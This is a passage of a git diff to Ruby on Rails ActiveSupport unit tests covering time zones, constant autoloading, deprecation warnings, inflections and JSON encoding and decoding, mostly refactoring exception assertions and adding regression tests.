 class TimeExtMarshalingTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index 8095b66..7fe4d4a 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -1,6 +1,5 @@
 require 'abstract_unit'
 require 'active_support/time'
-require 'active_support/json'
 
 class TimeWithZoneTest < ActiveSupport::TestCase
 
@@ -66,25 +65,6 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
   end
 
-  def test_to_json_with_use_standard_json_time_format_config_set_to_false
-    old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, false
-    assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
-  ensure
-    ActiveSupport.use_standard_json_time_format = old
-  end
-
-  def test_to_json_with_use_standard_json_time_format_config_set_to_true
-    old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
-    assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(@twz)
-  ensure
-    ActiveSupport.use_standard_json_time_format = old
-  end
-
-  def test_to_json_when_wrapping_a_date_time
-    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
-    assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(twz)
-  end
-
   def test_nsec
     local     = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
     with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
@@ -131,6 +111,10 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12)
   end
 
+  def test_xmlschema_with_nil_fractional_seconds
+    assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
+  end
+
   def test_to_yaml
     assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml)
   end
@@ -455,6 +439,11 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal 500000, twz.usec
   end
 
+  def test_nsec_returns_sec_fraction_when_datetime_is_wrapped
+    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)), @time_zone)
+    assert_equal 500000000, twz.nsec
+  end
+
   def test_utc_to_local_conversion_saves_period_in_instance_variable
     assert_nil @twz.instance_variable_get('@period')
     @twz.time
@@ -506,6 +495,16 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
   end
 
+  def test_change_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+    assert_equal twz, twz.change(:min => 0)
+  end
+
+  def test_round_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+    assert_equal twz, twz.round
+  end
+
   def test_advance
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
@@ -992,6 +991,15 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
     Time.zone = nil
   end
 
+  def test_time_in_time_zone_doesnt_affect_receiver
+    with_env_tz 'Europe/London' do
+      time = Time.local(2000, 7, 1)
+      time_with_zone = time.in_time_zone('Eastern Time (US & Canada)')
+      assert_equal Time.utc(2000, 6, 30, 23, 0, 0), time_with_zone
+      assert_not time.utc?, 'time expected to be local, but is UTC'
+    end
+  end
+
   protected
     def with_env_tz(new_tz = 'US/Eastern')
       old_tz, ENV['TZ'] = ENV['TZ'], new_tz
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index df456be..4ca63b3 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -35,6 +35,17 @@ class DependenciesTest < ActiveSupport::TestCase
     assert_equal expected.path, e.path
   end
 
+  def test_require_dependency_accepts_an_object_which_implements_to_path
+    o = Object.new
+    def o.to_path; 'dependencies/service_one'; end
+    assert_nothing_raised {
+      require_dependency o
+    }
+    assert defined?(ServiceOne)
+  ensure
+    remove_constants(:ServiceOne)
+  end
+
   def test_tracking_loaded_files
     require_dependency 'dependencies/service_one'
     require_dependency 'dependencies/service_two'
@@ -62,12 +73,11 @@ class DependenciesTest < ActiveSupport::TestCase
       $raises_exception_load_count = 0
 
       5.times do |count|
-        begin
+        e = assert_raise Exception, 'should have loaded dependencies/raises_exception which raises an exception' do
           require_dependency filename
-          flunk 'should have loaded dependencies/raises_exception which raises an exception'
-        rescue Exception => e
-          assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
         end
+
+        assert_equal 'Loading me failed, so do not add to loaded or history.', e.message
         assert_equal count + 1, $raises_exception_load_count
 
         assert !ActiveSupport::Dependencies.loaded.include?(filename)
@@ -355,26 +365,19 @@ class DependenciesTest < ActiveSupport::TestCase
 
   def test_non_existing_const_raises_name_error_with_fully_qualified_name
     with_autoloading_fixtures do
-      begin
-        A::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::DoesNotExist", e.message
-      end
-      begin
-        A::B::DoesNotExist.nil?
-        flunk "No raise!!"
-      rescue NameError => e
-        assert_equal "uninitialized constant A::B::DoesNotExist", e.message
-      end
+      e = assert_raise(NameError) { A::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::DoesNotExist", e.message
+
+      e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
+      assert_equal "uninitialized constant A::B::DoesNotExist", e.message
     end
   end
 
   def test_smart_name_error_strings
-    Object.module_eval "ImaginaryObject"
-    flunk "No raise!!"
-  rescue NameError => e
-    assert e.message.include?("uninitialized constant ImaginaryObject")
+    e = assert_raise NameError do
+      Object.module_eval "ImaginaryObject"
+    end
+    assert_includes "uninitialized constant ImaginaryObject", e.message
   end
 
   def test_loadable_constants_for_path_should_handle_empty_autoloads
@@ -519,30 +522,21 @@ class DependenciesTest < ActiveSupport::TestCase
     end
   end
 
-  def test_const_missing_should_not_double_load
-    $counting_loaded_times = 0
+  def test_const_missing_in_anonymous_modules_loads_top_level_constants
     with_autoloading_fixtures do
-      require_dependency '././counting_loader'
-      assert_equal 1, $counting_loaded_times
-      assert_raise(NameError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
-      assert_equal 1, $counting_loaded_times
+      # class_eval STRING pushes the class to the nesting of the eval'ed code.
+      klass = Class.new.class_eval "E"
+      assert_equal E, klass
     end
   end
 
-  def test_const_missing_within_anonymous_module
-    $counting_loaded_times = 0
-    m = Module.new
-    m.module_eval "def a() CountingLoader; end"
-    extend m
-    kls = nil
+  def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
     with_autoloading_fixtures do
-      kls = nil
-      assert_nothing_raised { kls = a }
-      assert_equal "CountingLoader", kls.name
-      assert_equal 1, $counting_loaded_times
+      require_dependency 'e'
 
-      assert_nothing_raised { kls = a }
-      assert_equal 1, $counting_loaded_times
+      mod = Module.new
+      e = assert_raise(NameError) { mod::E }
+      assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message
     end
   end
 
@@ -551,12 +545,10 @@ class DependenciesTest < ActiveSupport::TestCase
       c = ServiceOne
       ActiveSupport::Dependencies.clear
       assert ! defined?(ServiceOne)
-      begin
+      e = assert_raise ArgumentError do
         ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
-        flunk "Expected exception"
-      rescue ArgumentError => e
-        assert_match %r{ServiceOne has been removed from the module tree}i, e.message
       end
+      assert_match %r{ServiceOne has been removed from the module tree}i, e.message
     end
   end
 
@@ -895,12 +887,10 @@ class DependenciesTest < ActiveSupport::TestCase
     with_autoloading_fixtures do
       Object.send(:remove_const, :RaisesNameError) if defined?(::RaisesNameError)
       2.times do
-        begin
+        e = assert_raise NameError do
           ::RaisesNameError::FooBarBaz.object_id
-          flunk 'should have raised NameError when autoloaded file referenced FooBarBaz'
-        rescue NameError => e
-          assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
         end
+        assert_equal 'uninitialized constant RaisesNameError::FooBarBaz', e.message
         assert !defined?(::RaisesNameError), "::RaisesNameError is defined but it should have failed!"
       end
 
@@ -958,6 +948,18 @@ class DependenciesTest < ActiveSupport::TestCase
     Object.class_eval { remove_const :A if const_defined?(:A) }
   end
 
+  def test_access_unloaded_constants_for_reload
+    with_autoloading_fixtures do
+      assert_kind_of Module, A
+      assert_kind_of Class, A::B # Necessary to load A::B for the test
+      ActiveSupport::Dependencies.mark_for_unload(A::B)
+      ActiveSupport::Dependencies.remove_unloadable_constants!
+       
+      A::B # Make sure no circular dependency error
+    end
+  end
+
+
   def test_autoload_once_paths_should_behave_when_recursively_loading
     with_loading 'dependencies', 'autoloading_fixtures' do
       ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
diff --git a/activesupport/test/deprecation/basic_object_test.rb b/activesupport/test/deprecation/basic_object_test.rb
deleted file mode 100644
index 4b5bed9..0000000
--- a/activesupport/test/deprecation/basic_object_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'abstract_unit'
-require 'active_support/deprecation'
-require 'active_support/basic_object'
-
-
-class BasicObjectTest < ActiveSupport::TestCase
-  test 'BasicObject warns about deprecation when inherited from' do
-    warn = 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
-    ActiveSupport::Deprecation.expects(:warn).with(warn).once
-    Class.new(ActiveSupport::BasicObject)
-  end
-end
\ No newline at end of file
diff --git a/activesupport/test/deprecation/buffered_logger_test.rb b/activesupport/test/deprecation/buffered_logger_test.rb
deleted file mode 100644
index bf11a47..0000000
--- a/activesupport/test/deprecation/buffered_logger_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'abstract_unit'
-require 'active_support/buffered_logger'
-
-class BufferedLoggerTest < ActiveSupport::TestCase
-
-  def test_can_be_subclassed
-    warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
-
-    ActiveSupport::Deprecation.expects(:warn).with(warn).once
-
-    Class.new(ActiveSupport::BufferedLogger)
-  end
-
-  def test_issues_deprecation_when_instantiated
-    warn = 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
-
-    ActiveSupport::Deprecation.expects(:warn).with(warn).once
-
-    ActiveSupport::BufferedLogger.new(STDOUT)
-  end
-
-end
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 9674851..ee1c695 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -104,14 +104,11 @@ class DeprecationTest < ActiveSupport::TestCase
     message   = 'Revise this deprecated stuff now!'
     callstack = %w(foo bar baz)
 
-    begin
+    e = assert_raise ActiveSupport::DeprecationException do
       ActiveSupport::Deprecation.behavior.first.call(message, callstack)
-    rescue ActiveSupport::DeprecationException => e
-      assert_equal message, e.message
-      assert_equal callstack, e.backtrace
-    else
-      flunk 'the :raise deprecation behaviour should raise the expected exception'
     end
+    assert_equal message, e.message
+    assert_equal callstack, e.backtrace
   end
 
   def test_default_stderr_behavior
@@ -174,7 +171,7 @@ class DeprecationTest < ActiveSupport::TestCase
       ActiveSupport::Deprecation.warn 'abc'
       ActiveSupport::Deprecation.warn 'def'
     end
-  rescue MiniTest::Assertion
+  rescue Minitest::Assertion
     flunk 'assert_deprecated should match any warning in block, not just the last one'
   end
 
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
index 74669aa..00b449a 100644
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -4,4 +4,14 @@ require 'descendants_tracker_test_cases'
 
 class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
   include DescendantsTrackerTestCases
+
+  # Regression test for #8422. https://github.com/rails/rails/issues/8442
+  def test_clear_without_autoloaded_singleton_parent
+    mark_as_autoloaded do
+      parent_instance = Parent.new
+      parent_instance.singleton_class.descendants
+      ActiveSupport::DescendantsTracker.clear
+      assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
+    end
+  end
 end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
deleted file mode 100644
index 005b352..0000000
--- a/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class EmptyTrue
-  def empty?() true; end
-end
-
-class EmptyFalse
-  def empty?() false; end
-end
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
deleted file mode 100644
index 0eefce0..0000000
--- a/activesupport/test/fixtures/custom.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Custom
-end
\ No newline at end of file
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 22cb61f..35967ba 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -70,15 +70,17 @@ class InflectorTest < ActiveSupport::TestCase
 
 
   def test_overwrite_previous_inflectors
-    assert_equal("series", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.singular "series", "serie"
-    assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+    with_dup do
+      assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+      ActiveSupport::Inflector.inflections.singular "series", "serie"
+      assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+    end
   end
 
-  MixtureToTitleCase.each do |before, titleized|
-    define_method "test_titleize_#{before}" do
-      assert_equal(titleized, ActiveSupport::Inflector.titleize(before))
+  MixtureToTitleCase.each_with_index do |(before, titleized), index|
+    define_method "test_titleize_mixture_to_title_case_#{index}" do
+      assert_equal(titleized, ActiveSupport::Inflector.titleize(before), "mixture \
+        to TitleCase failed for #{before}")
     end
   end
 
@@ -229,25 +231,35 @@ class InflectorTest < ActiveSupport::TestCase
     end
   end
 
+# FIXME: get following tests to pass on jruby, currently skipped
+#
+# Currently this fails because ActiveSupport::Multibyte::Unicode#tidy_bytes
+# required a specific Encoding::Converter(UTF-8 to UTF8-MAC) which unavailable on JRuby
+# causing our tests to error out.
+# related bug http://jira.codehaus.org/browse/JRUBY-7194
   def test_parameterize
+    jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
     StringToParameterized.each do |some_string, parameterized_string|
       assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
     end
   end
 
   def test_parameterize_and_normalize
+    jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
     StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
       assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
     end
   end
 
   def test_parameterize_with_custom_separator
+    jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
     StringToParameterizeWithUnderscore.each do |some_string, parameterized_string|
       assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_'))
     end
   end
 
   def test_parameterize_with_multi_character_separator
+    jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
     StringToParameterized.each do |some_string, parameterized_string|
       assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
     end
@@ -276,6 +288,12 @@ class InflectorTest < ActiveSupport::TestCase
     end
   end
 
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
+    end
+  end
+
   def test_humanize_by_rule
     ActiveSupport::Inflector.inflections do |inflect|
       inflect.human(/_cnt$/i, '\1_count')
@@ -419,33 +437,36 @@ class InflectorTest < ActiveSupport::TestCase
     end
   end
 
-  Irregularities.each do |irregularity|
-    singular, plural = *irregularity
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_irregularity_between_#{singular}_and_#{plural}") do
-        inflect.irregular(singular, plural)
-        assert_equal singular, ActiveSupport::Inflector.singularize(plural)
-        assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+  Irregularities.each do |singular, plural|
+    define_method("test_irregularity_between_#{singular}_and_#{plural}") do
+      with_dup do
+        ActiveSupport::Inflector.inflections do |inflect|
+          inflect.irregular(singular, plural)
+          assert_equal singular, ActiveSupport::Inflector.singularize(plural)
+          assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+        end
       end
     end
   end
 
-  Irregularities.each do |irregularity|
-    singular, plural = *irregularity
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
-        inflect.irregular(singular, plural)
-        assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+  Irregularities.each do |singular, plural|
+    define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
+      with_dup do
+        ActiveSupport::Inflector.inflections do |inflect|
+          inflect.irregular(singular, plural)
+          assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+        end
       end
     end
   end
 
-  Irregularities.each do |irregularity|
-    singular, plural = *irregularity
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
-        inflect.irregular(singular, plural)
-        assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+  Irregularities.each do |singular, plural|
+    define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+      with_dup do
+        ActiveSupport::Inflector.inflections do |inflect|
+          inflect.irregular(singular, plural)
+          assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+        end
       end
     end
   end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index 7704300..4bd1b2e 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -63,6 +63,7 @@ module InflectorTestCases
     "news"        => "news",
 
     "series"      => "series",
+    "miniseries"  => "miniseries",
     "species"     => "species",
 
     "quiz"        => "quizzes",
@@ -105,7 +106,6 @@ module InflectorTestCases
     "prize"       => "prizes",
     "edge"        => "edges",
 
-    "cow"         => "kine",
     "database"    => "databases",
 
     # regression tests against improper inflection regexes
@@ -213,6 +213,12 @@ module InflectorTestCases
     "underground"     => "Underground"
   }
 
+  UnderscoreToHumanWithoutCapitalize = {
+    "employee_salary" => "employee salary",
+    "employee_id"     => "employee",
+    "underground"     => "underground"
+  }
+
   MixtureToTitleCase = {
     'active_record'         => 'Active Record',
     'ActiveRecord'          => 'Active Record',
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index a2d1d0d..07d7e53 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -4,6 +4,12 @@ require 'active_support/json'
 require 'active_support/time'
 
 class TestJSONDecoding < ActiveSupport::TestCase
+  class Foo
+    def self.json_create(object)
+      "Foo"
+    end
+  end
+
   TESTS = {
     %q({"returnTo":{"\/categories":"\/"}})        => {"returnTo" => {"/categories" => "/"}},
     %q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
@@ -52,40 +58,48 @@ class TestJSONDecoding < ActiveSupport::TestCase
     # tests escaping of "\n" char with Yaml backend
     %q({"a":"\n"})  => {"a"=>"\n"},
     %q({"a":"\u000a"}) => {"a"=>"\n"},
-    %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"}
+    %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"},
+    # prevent json unmarshalling
+    %q({"json_class":"TestJSONDecoding::Foo"}) => {"json_class"=>"TestJSONDecoding::Foo"},
+    # json "fragments" - these are invalid JSON, but ActionPack relies on this
+    %q("a string") => "a string",
+    %q(1.1) => 1.1,
+    %q(1) => 1,
+    %q(-1) => -1,
+    %q(true) => true,
+    %q(false) => false,
+    %q(null) => nil
   }
 
-  backends = [:ok_json]
-  backends << :json_gem if defined?(::JSON)
-  backends << :yajl if defined?(::Yajl)
-
-  backends.each do |backend|
-    TESTS.each do |json, expected|
-      test "json decodes #{json} with the #{backend} backend" do
-        prev = ActiveSupport.parse_json_times
-        ActiveSupport.parse_json_times = true
-        silence_warnings do
-          ActiveSupport::JSON.with_backend backend do
-            assert_equal expected, ActiveSupport::JSON.decode(json)
-          end
-        end
-        ActiveSupport.parse_json_times = prev
-      end
-    end
-
-    test "json decodes time json with time parsing disabled with the #{backend} backend" do
+  TESTS.each_with_index do |(json, expected), index|
+    test "json decodes #{index}" do
       prev = ActiveSupport.parse_json_times
-      ActiveSupport.parse_json_times = false
-      expected = {"a" => "2007-01-01 01:12:34 Z"}
-      ActiveSupport::JSON.with_backend backend do
-        assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
+      ActiveSupport.parse_json_times = true
+      silence_warnings do
+        assert_equal expected, ActiveSupport::JSON.decode(json), "JSON decoding \
+        failed for #{json}"
       end
       ActiveSupport.parse_json_times = prev
     end
   end
 
+  test "json decodes time json with time parsing disabled" do
+    prev = ActiveSupport.parse_json_times
+    ActiveSupport.parse_json_times = false
+    expected = {"a" => "2007-01-01 01:12:34 Z"}
+    assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
+    ActiveSupport.parse_json_times = prev
+  end
+
   def test_failed_json_decoding
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%(undefined)) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({a: 1})) }
     assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
+  end
+
+  def test_cannot_pass_unsupported_options
+    assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
   end
 end
 
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index c50ff6f..c4283ee 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -1,7 +1,9 @@
 # encoding: utf-8
+require 'securerandom'
 require 'abstract_unit'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/json'
+require 'active_support/time'
 
 class TestJSONEncoding < ActiveSupport::TestCase
   class Foo
@@ -12,13 +14,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
 
   class Hashlike
     def to_hash
-      { :a => 1 }
+      { :foo => "hello", :bar => "world" }
     end
   end
 
   class Custom
-    def as_json(options)
-      'custom'
+    def initialize(serialized)
+      @serialized = serialized
+    end
+
+    def as_json(options = nil)
+      @serialized
     end
   end
 
@@ -31,6 +37,25 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
+  class OptionsTest
+    def as_json(options = :default)
+      options
+    end
+  end
+
+  class HashWithAsJson < Hash
+    attr_accessor :as_json_called
+
+    def initialize(*)
+      super
+    end
+
+    def as_json(options={})
+      @as_json_called = true
+      super
+    end
+  end
+
   TrueTests     = [[ true,  %(true)  ]]
   FalseTests    = [[ false, %(false) ]]
   NilTests      = [[ nil,   %(null)  ]]
@@ -42,11 +67,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
                    [ BigDecimal('0.0')/BigDecimal('0.0'),  %(null) ],
                    [ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
 
-  StringTests   = [[ 'this is the <string>',     %("this is the \\u003Cstring\\u003E")],
+  StringTests   = [[ 'this is the <string>',     %("this is the \\u003cstring\\u003e")],
                    [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
                    [ 'http://test.host/posts/1', %("http://test.host/posts/1")],
-                   [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f",
-                     %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F") ]]
+                   [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+                     %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
 
   ArrayTests    = [[ ['a', 'b', 'c'],          %([\"a\",\"b\",\"c\"])          ],
                    [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
@@ -60,8 +85,14 @@ class TestJSONEncoding < ActiveSupport::TestCase
                    [ :"a b", %("a b")  ]]
 
   ObjectTests   = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
-  HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
-  CustomTests   = [[ Custom.new, '"custom"' ]]
+  HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
+  CustomTests   = [[ Custom.new("custom"), '"custom"' ],
+                   [ Custom.new(nil), 'null' ],
+                   [ Custom.new(:a), '"a"' ],
+                   [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+                   [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ],
+                   [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+                   [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
 
   RegexpTests   = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
 
@@ -70,8 +101,8 @@ class TestJSONEncoding < ActiveSupport::TestCase
   DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
 
   StandardDateTests     = [[ Date.new(2005,2,1), %("2005-02-01") ]]
-  StandardTimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
-  StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
+  StandardTimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]]
+  StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]]
   StandardStringTests   = [[ 'this is the <string>', %("this is the <string>")]]
 
   def sorted_json(json)
@@ -96,11 +127,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
-  def test_json_variable
-    assert_deprecated do
-      assert_equal ActiveSupport::JSON::Variable.new('foo'), 'foo'
-      assert_equal ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")'
-    end
+  def test_process_status
+    # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
+    # creating a child process, hence this to populate $?
+    system("not_a_real_program_#{SecureRandom.hex}")
+    assert_equal %({"exitstatus":#{$?.exitstatus},"pid":#{$?.pid}}), ActiveSupport::JSON.encode($?)
   end
 
   def test_hash_encoding
@@ -142,22 +173,44 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal "𐒑", decoded_hash['string']
   end
 
+  def test_reading_encode_big_decimal_as_string_option
+    assert_deprecated do
+      assert ActiveSupport.encode_big_decimal_as_string
+    end
+  end
+
+  def test_setting_deprecated_encode_big_decimal_as_string_option
+    assert_raise(NotImplementedError) do
+      ActiveSupport.encode_big_decimal_as_string = true
+    end
+
+    assert_raise(NotImplementedError) do
+      ActiveSupport.encode_big_decimal_as_string = false
+    end
+  end
+
   def test_exception_raised_when_encoding_circular_reference_in_array
     a = [1]
     a << a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    assert_deprecated do
+      assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    end
   end
 
   def test_exception_raised_when_encoding_circular_reference_in_hash
     a = { :name => 'foo' }
     a[:next] = a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    assert_deprecated do
+      assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    end
   end
 
   def test_exception_raised_when_encoding_circular_reference_in_hash_inside_array
     a = { :name => 'foo', :sub => [] }
     a[:sub] << a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    assert_deprecated do
+      assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+    end
   end
 
